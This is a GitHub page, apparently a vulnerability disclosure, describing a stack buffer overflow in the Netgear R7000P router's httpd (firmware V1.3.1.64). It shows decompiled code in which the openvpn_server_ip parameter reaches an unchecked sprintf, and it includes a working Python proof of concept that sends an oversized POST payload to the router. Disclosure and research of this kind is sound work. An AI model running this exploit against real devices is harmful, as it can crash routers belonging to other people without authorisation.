🖥 RobinWang825 / **IoT_vuln**   Public

Code

Issues   1

Pull requests

Actions

Projects

Security

Insights

⑂ main ▪

IoT_vuln/Netgear/R7000P/**16**/

wangshi
···
Oct 26, 2022
🕓

..

📁
images
   Oct 26, 2022

📄
readme.md
   Oct 26, 2022

adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

1. product information: https://www.netgear.com
2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64_10.1.36.zip

Affected version

V1.3.1.64

Vulnerability

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the `sub_3FE68` function, which can be accessed via the URL `http://routerlogin.net/OPENVPN.htm` .

```
●  46   if ( sub_D1B9C(v33, v34, v35, &v39) )
●  47       return sub_D1B50(a2);
●  48   sub_1A54C(a1, "openvpn_protocol", v37, 8);
●  49   sub_1A54C(a1, "openvpn_service_port", v36, 8);
●  50   sub_1A54C(a1, "openvpn_br_ip_start", v31, 16);
●  51   sub_1A54C(a1, "openvpn_br_ip_end", v30, 16);
●  52   sub_1A54C(a1, "openvpn_server_ip", v29, 16);
```

```
● 183       strcpy(dest, "dh /tmp/openvpn/dh1.pem");
● 184       fprintf(v22, "%s\n", dest);
● 185       strcpy(dest, "ca /tmp/openvpn/ca1.crt");
● 186       fprintf(v22, "%s\n", dest);
● 187       strcpy(dest, "cert /tmp/openvpn/server1.crt");
● 188       fprintf(v22, "%s\n", dest);
● 189       strcpy(dest, "key /tmp/openvpn/server1.key");
● 190       fprintf(v22, "%s\n", dest);
● 191       if ( !strcmp(v38, "tun") )
  192       {
● 193         strcpy(dest, "dev tun");
● 194         fprintf(v22, "%s\n", dest);
● 195         sprintf(dest, "server %s 255.255.255.0", v29);   vuln
  196       }
  197       else
  198       {
```

```
  250       else
  251       {
▶ 252         acosNvramConfig_set((int)"openvpnRedirect", (int)"disable");
▶ 253         sprintf(dest, "push \"route %s 255.255.255.0\"", v29);   vuln
  254       }
▶ 255       fprintf(v22, "%s\n", dest);
▶ 256       fclose(v22);
  257   }
```

In this function, `openvpn_server_ip` is controllable and will be passed into the `v29` variable and `v29` will be passed into stack `dest` by `sprintf`. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

PoC

```python
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b'\r\n'
p1 = b'a' * 0x3000
p2 = b'openvpn_server_ip=' + p1 # payload
p3 = b"POST /WLG_wireless_dual_band_r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```